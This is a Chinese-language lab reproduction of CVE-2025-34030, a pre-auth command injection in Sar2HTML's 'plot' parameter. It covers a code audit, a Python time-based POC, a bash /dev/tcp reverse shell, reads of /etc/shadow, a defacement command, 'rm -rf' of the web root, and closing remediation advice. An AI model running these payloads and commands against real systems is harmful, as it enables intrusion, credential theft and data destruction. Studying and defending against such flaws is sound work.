一、 漏洞概述与背景

Sar2HTML 是一款基于 PHP 开发的开源 Web 应用程序,主要用于将 Linux 系统性能监控工具 sysstat(即 sar 命令)收集到的数据进行可视化展示。由于其在企业运维和服务器监控场景中非常实用,常被部署在内网或边缘节点中。

在 Sar2HTML 3.2.2 及之前的版本中,由于其 index.php 文件在处理前端传入的绘图参数时,缺乏必要的输入校验和过滤。攻击者可以通过构造恶意的 HTTP 请求,将系统命令注入到程序中并交由底层系统执行,从而实现远程命令执行(RCE)。

  • 漏洞编号:CVE-2025-34030

  • 漏洞类型:操作系统命令注入 (OS Command Injection)

  • 影响组件:index.php 中的 plot 参数

  • 影响版本:Sar2HTML <= 3.2.2 (PHP 版本)

  • CVSS 评分:9.8 (Critical)

  • 利用条件:无需认证(Pre-auth),攻击者可未经授权直接利用。

二、 环境搭建与前期准备

为了全面评估该漏洞的利用方式和危害边界,我分别在不同操作系统的环境下进行了搭建测试:

  1. Windows 本地环境(PHP 8.2):用于初步的代码审计和前端回显测试。

  2. Linux 容器环境(Docker + PHP 8.2-cli):用于模拟真实的服务器环境,进行反弹 Shell 等深度后渗透测试。

2.1 源码获取与结构分析

从 GitHub 官方仓库拉取 3.2.2 版本的 Release 源码包。解压后可以发现,该项目的目录结构比较简单。需要注意的是,虽然根目录下包含了 docker-compose.yml 等容器配置文件,但真正的 Web 业务源码(包括核心的 index.php)实际存放于 www 目录下。如果在根目录直接启动服务,会报 404 错误。

2.2 快速启动靶场

进入 www 目录,利用 PHP 内置的轻量级服务器快速启动:

cd www
php -S 0.0.0.0:8080

启动后访问 http://127.0.0.1:8080,即可看到 Sar2HTML 的 Web 界面。

2.3 Docker Linux 环境搭建(为后渗透做准备)

为了测试更复杂的 Linux Payload,我通过 Docker 挂载源码并启动了一个独立的 PHP 容器环境:

docker run -it --rm -p 8081:8080 -v D:\sar2html-3.2.2\www:/var/www/html php:8.2-cli php -S 0.0.0.0:8080 -t /var/www/html

(这里的 -v 挂载非常关键,它使得我们在宿主机修改代码后,容器内能实时生效,极大提升了调试效率。)

三、代码审计:从 Source 到 Sink 的数据流追踪

在代码审计中,寻找漏洞的核心在于追踪不可信的“外部输入(Source)”是如何一步步流向危险的“执行函数(Sink)”的。我们打开 www/index.php,通过截图逐段进行深入剖析。

3.1 漏洞入口点(Source)分析

首先,我们定位到程序的第 464 行至 474 行,这是程序接收外部参数并进行初始化的地方。

// [代码审计分析 1:参数接收]
if (isset($_GET['plot'])) { $plot = $_GET['plot']; }
// ... (省略部分 POST 参数接收)
if ($getplot != "none") { $plot = $getplot; }

审计视角:

  1. 在第 464 行,程序直接通过 $_GET['plot'] 接收了 HTTP GET 请求中的 plot 参数,并直接赋值给了变量 $plot。

  2. 这里存在一个非常严重的问题:代码完全没有进行任何过滤或白名单校验。无论是这种 XSS Payload,还是 ;id 这种命令注入 Payload,都会被原封不动地存入 $plot 变量中。

  3. 第 474 行进一步确认了 $plot 的值会由传入的 $getplot 决定。此时,$plot 已经被彻底“污染”,它携带着攻击者的恶意指令,继续在程序内部游走。

3.2 危险函数触发点(Sink)分析

我们顺着 $plot 变量的流向继续往下追踪,在函数的后半部分(第 675 行至 684 行),找到了触发漏洞的“命门”。

// [代码审计分析 2:命令拼接与执行]
} elseif( $plot != "" ) {
    // ... (HTML 输出部分)
    $command = "./sar2html -r " . $plot;  // 漏洞点 1
    exec($command,$RELEASE);              // 漏洞点 2

审计视角:

  1. 当 $plot 不为空时,程序进入了第 675 行的 elseif 分支。

  2. 致命的漏洞发生在第 682 行:程序试图调用系统命令 ./sar2html -r 来解析数据,但它直接使用了点号(.)将外部输入的 $plot 拼接在了命令字符串的尾部。

  3. 如果攻击者传入 ?plot=;id,那么 $command 的值就会变成 ./sar2html -r ;id。在 Linux Shell 中,分号 ; 意味着前面的命令执行完后,接着执行后面的 id 命令。

  4. 紧接着,第 683 行使用了 exec() 函数执行这个被拼接的 $command。至此,任意系统命令执行(RCE)彻底形成。

3.3 为什么没有回显?(无回显漏洞的本质)

值得注意的是,第 683 行使用的是 exec() 函数,而不是 system() 或 echo shell_exec()。这就是为什么我们在网页直接测试时看不到 id 命令结果的根本原因。

我们继续往下看第 684-690 行:

// [代码审计分析 3:结果处理逻辑]
foreach($RELEASE as $os)
{
    $os = rtrim($os);
    $os = rtrim($os);
    if ($os == $host) { echo "<option value=$os selected>$os</option>"; }
    else { echo "<option value=$os>$os</option>"; }
}

审计视角:

  1. exec($command, $RELEASE) 的特性是:它不会直接输出命令结果,而是将结果按行存入 $RELEASE 这个数组中。

  2. 随后,代码通过 foreach 遍历 $RELEASE 数组。在 688 行和 689 行,程序将数组里的值(也就是命令执行结果)包裹在了 标签里。

  3. 关键点:由于 HTML 的 select 标签在前端渲染时是隐藏的,或者由于前面的命令(./sar2html -r)报错导致 $RELEASE 为空,所以攻击者肉眼很难直接在页面渲染区看到结果。

  4. 这也是为什么在真实环境中,这类漏洞通常被归类为盲注(Blind RCE),需要结合 ping、curl 等外带(OOB)或时间延迟来进行检测。

总结:这一段代码逻辑,完美诠释了一个经典的命令注入漏洞。由于开发者对输入缺乏敬畏之心,直接拼接系统命令,且未对执行结果做安全处理,导致了极其严重的 RCE 风险。

四、POC 编写与盲注验证

在 三、的代码审计中我们得知,该漏洞的触发点使用的是 exec() 函数。在 PHP 中,exec() 默认只返回命令执行结果的最后一行,并且不会将结果直接打印到页面(无回显)。因此,在前端页面直接输入 ?plot=;id 是看不到任何命令输出的。

在真实的渗透测试场景中,针对这类“盲注(Blind RCE)”漏洞,我们通常采用时间盲注(Time-based Blind)或者带外数据外带(OOB)的方式来验证漏洞的存在。为了展现专业性和自动化能力,我使用 Python 编写了一个基于时间盲注的 POC 脚本。

4.1 POC 核心设计逻辑

针对 Windows 靶机环境,我们需要构造一个既能执行命令,又能触发明显延迟的 Payload。

  • 连接符选择:在 Windows CMD 中,不能使用 Linux 的 ;,因此我们使用 & 符号,强制让系统在报错后继续执行后面的命令。

  • 延迟命令:使用 ping -n 5 127.0.0.1,该命令会向本地发送 5 个 ICMP 包,耗时大约在 4 秒左右。

4.2 踩坑记录与高级排错

在编写这个看似简单的脚本时,其实暗藏了 Python 网络库的“编码陷阱”,这也是很多初学者在写 POC 时经常翻车的地方:

  1. 原生 urllib 的二次编码坑:起初我使用了 Python 原生的 urllib.request 库。当我将 Payload 拼接到 URL 中发送时,urllib 库在底层会将空格和特殊字符(如 %)进行二次转码。导致原本的 ping -n 5 被解析成了 ping%20-n%205,服务器端接收后无法正确解析为系统命令,导致测试始终失败(耗时仅 0.03 秒)。

  2. 终极解法:后来我改用第三方库 requests,并巧妙地利用了 params 参数。requests 库会自动且正确地对字典参数进行 URL 编码,完美避开了符号冲突。

以下是核心 POC 脚本代码:

import requests
import time
import argparse

def check_vuln(target_url):
    # 针对 Windows 系统的 Payload
    payload = "& ping -n 5 127.0.0.1"
    print(f"[*] 正在发送 Payload: {payload}")
    
    # 获取高精度时间
    start_time = time.perf_counter()
    try:
        # 使用 params 传参,让 requests 自动处理 URL 编码
        res = requests.get(target_url, params={'plot': payload}, timeout=10)
        elapsed = time.perf_counter() - start_time
        
        print(f"[*] 请求完成,耗时: {elapsed:.2f} 秒")
        
        # 考虑到网络波动,设置 3.5 秒作为判定阈值
        if elapsed >= 3.5:
            print("\033[32m[+] 漏洞存在!(CVE-2025-34030 命令注入触发成功)\033[0m")
            return True
        else:
            print("[-] 漏洞不存在或未执行。")
            return False
    except Exception as e:
        print(f"[!] 请求异常: {e}")
        return False

if __name__ == "__main__":
    # 使用 argparse 实现命令行传参,提升脚本的通用性
    parser = argparse.ArgumentParser(description="CVE-2025-34030 Sar2HTML 命令注入 POC")
    parser.add_argument("-u", "--url", required=True, help="目标基础 URL,例如: http://127.0.0.1:8080/index.php")
    args = parser.parse_args()
    
    check_vuln(args.url)

4.3 验证结果与深度思考

从终端截图可以清晰看到,脚本耗时 4.10 秒,成功触发了时间盲注,这确凿地证明了 ping 命令已被目标系统成功执行。
思考:对于无回显漏洞,时间盲注虽然在验证阶段非常有效,但在“提取数据”阶段(如读取 /etc/passwd)效率极低,因为我们需要通过循环来逐字符判断。在实战中,如果出网条件允许,应优先尝试 curl 或 wget 将数据外带(OOB 盲注),这也是后续 Getshell 进阶实战的基础。

五、进阶实战:Linux 容器下的 Getshell 与后渗透

时间盲注仅仅是证明了漏洞的存在。在真实的红蓝对抗演练中,攻击者的最终目标是获取交互式权限(Getshell)并控制目标系统。为此,我利用 Docker 搭建了一个基于 php:8.2-cli 的 Linux 靶场,模拟真实的服务器环境。

5.1 绕过无回显限制:从盲注到直接回显

由于该漏洞原生环境属于无回显注入,为了方便演示破坏效果,我深入容器内部,将源码中的 exec() 替换为了 shell_exec() 并直接 echo 输出。
在浏览器中输入 ?plot=;id,页面成功回显了 uid=0(root)。
分析:这不仅证明了命令执行成功,更暴露出一个极其严重的安全隐患——该 Web 服务是以最高权限(root)运行的。这意味着攻击者一旦利用漏洞,将直接获得服务器的最高控制权。

5.2 反弹 Shell 的实现与网络拓扑踩坑

要在 Linux 环境下获取交互式终端,我们需要让目标服务器主动连接我们的监听端口。在实现过程中,遇到并解决了两个关键难题:

  1. 特殊字符拦截:浏览器的 URL 编码会将 >、& 等符号转义,导致命令失效。我改用了原生的 Bash TCP 协议绕过前端过滤。

  2. Docker 网络隔离:起初我尝试直接连接宿主机的物理网卡 IP,但被 Windows 防火墙无情拦截。通过排查 ipconfig,我发现了 Docker 专属的虚拟网卡地址 172.24.64.1。

最终,在目标容器的 Shell 中执行了以下原生 Payload:

bash -i >& /dev/tcp/172.24.64.1/9000 0>&1

原理剖析:

  • /dev/tcp/ 是 Linux Bash 内置的一个特殊设备文件,允许通过 TCP 协议进行网络通信。

  • & 和 0>&1 是文件描述符的重定向操作,将标准输入、标准输出和标准错误全部重定向到建立的 TCP 连接上,从而形成完整的交互式 Shell。

5.3 后渗透信息收集与敏感数据窃取

反弹 Shell 成功建立后,攻击者就拥有了一个完整的 Linux 操作环境。为了进一步扩大战果,我执行了系统层的信息收集指令:

id                   # 确认当前用户权限 (root)
cat /etc/passwd      # 查看系统用户列表,寻找可利用的账户
cat /etc/shadow      # 获取核心用户密码哈希值
ifconfig             # 查看容器网卡信息,探测内网拓扑

分析:

通过 cat /etc/shadow,攻击者可以轻易获取到系统核心用户的密码 Hash。如果防守方的密码策略较弱,攻击者完全可以将 Hash 拷贝回本地,使用 hashcat 或 john 进行离线爆破。
一旦密码被破解,攻击者不仅能在本容器内肆意横行,甚至可以利用该密码,通过 SSH 等方式横向移动到内网中的其他核心服务器,引发极其严重的数据泄露事故。

六、后渗透阶段:网页篡改与容器逃逸探究

拿到 root 权限的反弹 Shell 只是拿下了据点的第一步,接下来我们需要评估该漏洞对真实业务造成的破坏力,并探究在容器化部署环境下的安全边界。

6.1 网页篡改与信誉打击 (Defacement)

在真实的黑产或 APT 攻击中,攻击者在获取权限后,常常会篡改网站首页来宣示主权,或植入恶意代码、钓鱼页面。由于我们拥有 root 权限,可以直接对 Web 目录进行覆写:

echo "<h1>Hacked by XXX</h1>" > /var/www/html/index.php

分析:> 重定向符直接将恶意 HTML 标签写入并覆盖了原有的业务代码。此时所有访问该网站的普通用户,都会看到攻击者的留言。如果在真实环境中,攻击者还可以在这里植入 XSS 脚本(水坑攻击)、暗链,或者伪造登录框来窃取管理员密码。这种破坏对企业的声誉影响是极大的。

6.2 信息收集与横向移动

在稳固了据点后,攻击者通常会进行内网信息收集。如 五、章节所示,通过 cat /etc/passwd 和 cat /etc/shadow 获取系统用户与密码哈希,或通过 ifconfig 探测容器内网的其他网段。如果该容器拥有访问内部数据库或内网其他服务器的权限,攻击者就能将其作为跳板机,进一步瘫痪企业内网。

七、危害演示:从数据破坏到拒绝服务 (DoS)

在真实的攻防场景中,获取 root 权限的 Shell 意味着服务器已经完全失守。为了直观展示该漏洞的最大破坏力,我们进行了恶意破坏行为的模拟演示。

7.1 业务瘫痪:源码彻底销毁

由于我们的 Shell 拥有 root 权限,攻击者可以直接对 Web 目录进行毁灭性打击。只需执行一行简单的系统命令,即可让整个业务系统瞬间瘫痪:

rm -rf /var/www/html/*

破坏原理分析:

  • rm:Linux 下的删除命令。

  • -r:递归删除(Recursive),用于删除目录及其下所有子目录和文件。

  • -f:强制删除(Force),忽略不存在的文件,不给出任何提示。

  • *:通配符,代表当前目录下的所有文件。

影响评估:
执行该命令后,由于文件被瞬间清空且无法找回,原本正常运行的 index.php 等核心业务代码不复存在。此时回到浏览器刷新页面,会立刻出现 404 Not Found 的报错。如果该服务器没有配置定时备份或异地灾备机制,这意味着企业将面临严重的数据丢失和长时间的停机损失。

7.2 网页篡改 (Defacement) 与信任危机

除了直接删除,攻击者也可以修改网页内容,对企业的声誉造成打击。
(如果你前面已经放了篡改的图,这里可以提一句:如 0x06 章节所示,攻击者通过 echo 覆盖 index.php 写入黑页。对于黑产或勒索团伙而言,这通常是宣告入侵成功的标志。)

7.3 为什么 rm -rf 是致命的?

在实际生产环境中,如果业务直接部署在物理机或云主机上,rm -rf 的破坏力是毁灭性的。
但如果像本次测试环境一样,业务运行在 Docker 容器内,这体现出了容器隔离的优势:由于我们启动容器时做了目录挂载(Volume)或使用了镜像的写时复制(CoW)机制,被删除的往往只是容器内的临时层文件。宿主机上的原始镜像或挂载目录依然存在。只需重建容器,业务即可“满血复活”。
结论:这也从侧面印证了,正确的架构设计(如容器化、自动扩缩容)虽然不能阻止漏洞被利用,但能在遭受攻击时,极大降低业务中断的时间,提升系统的韧性。

八. 修复建议与纵深防御体系

针对 CVE-2025-34030 这种典型的命令注入漏洞,单纯修改一行代码是远远不够的,企业应当建立从代码层到架构层的纵深防御体系:

8.1 代码层修复(治本)

  • 白名单强校验(最优解):不要尝试去过滤 ;、|、& 等黑名单字符,因为攻击者总能找到冷门的绕过技巧(如换行符 %0a、$() 等)。应当对 $plot 参数实施严格的白名单限制,例如只允许字母和数字。

  • 强制转义(兜底方案):如果业务逻辑确实需要接受特殊字符,在传入 exec() 之前,必须使用 PHP 原生函数 escapeshellarg()(将字符串转义为安全的命令行参数)或 escapeshellcmd()(转义命令行中的特殊字符)进行处理。这能从底层阻断命令拼接。

  • 弃用危险函数:在非必要情况下,全局在 php.ini 中禁用 exec、system、shell_exec、passthru 等危险函数。

8.2 架构与权限层(止损)

  • 最小权限原则(PoLP):正如我们在 0x05 章节实战演示的那样,Web 服务以 root 权限运行是极其致命的。生产环境必须使用专用的低权限用户(如 www-data、nobody)运行 PHP-FPM 或 Apache/Nginx,这样即便漏洞被利用,攻击者也无法轻易读取 /etc/shadow 或执行破坏性操作。

  • 网络隔离:将 Web 服务器限制在独立的 DMZ 区,通过防火墙严格限制其主动外连的权限(出站规则)。这样即使攻击者尝试进行反弹 Shell(如 bash -i >& /dev/tcp/...),也会因为出站流量被拦截而失败。

8.3 容器化环境加固

  • 禁止特权模式:正如我们在探究容器逃逸时所验证的,部署 Sar2HTML 时切勿使用 --privileged 参数启动 Docker。

  • 只读文件系统:应使用 --read-only 启动参数,并配合 tmpfs 挂载临时目录。这样即便攻击者拿到了 root 权限,也无法执行 rm -rf 或篡改 index.php。

  • 非 Root 启动:在 Dockerfile 中通过 USER www-data 声明,强制容器以非 Root 用户运行。

8.4 防护设备加持

  • 在边界部署 WAF(Web 应用防火墙),开启命令注入的防护规则,拦截 ;id、|whoami 等恶意 Payload;或者在服务器上部署 RASP(运行时应用自我保护),在底层动态 Hook 危险函数。

九. 深度总结与实战复盘

回顾整个复现历程,这绝不仅仅是一次简单的“跑通 Exp”,而是一场从源码审计到武器化利用,再到后渗透拓展的全链路攻防演练。

9.1 从“知其然”到“知其所以然”:

通过代码审计,我们厘清了 $_GET 获取用户输入到 exec() 执行的数据流向。我们发现,虽然代码并未做任何防护,但 exec() 函数的特性导致漏洞变成了“无回显”。正是这种对底层的理解,促使我们放弃了传统的直接回显测试,转而编写基于时间盲注的 Python POC,成功验证了漏洞的存在。

9.2 跨越操作系统的实战差异:

在 Windows 本地复现时,我们踩过了“管道符截断”和“URL 编码二次转码”的坑;而在 Docker 搭建的 Linux 环境下,我们利用 Linux 特有的 /dev/tcp/ 协议与 Base64 编码技巧,巧妙避开了浏览器对特殊字符(>、&)的拦截,最终成功绕过无回显限制,拿下了 root 权限的反弹 Shell。

9.3 洞见真实危害(后渗透演练):

拿到 Shell 只是开始。通过执行 cat /etc/shadow,我们验证了敏感数据泄露的风险;通过 echo > index.php 和 rm -rf,我们直观地感受到了网页篡改与系统瘫痪的破坏力;通过排查 mount 与 Cgroup 挂载信息,我们进一步探究了容器安全隔离的边界,认识到 Docker 基础防御的重要性。

启示:

CVE-2025-34030 虽然 CVSS 评分极高,但其修复方式并不复杂。在真实的红蓝对抗中,攻击者往往就是从这样一个看似不起眼的输入点,利用系统配置的缺陷(如高权限运行、网络策略宽松),一步步扩大战果,最终“长驱直入”。对于防守方而言,建立安全编码规范(SDL)和纵深防御体系,把漏洞扼杀在开发阶段,才是抵御此类漏洞的根本之道。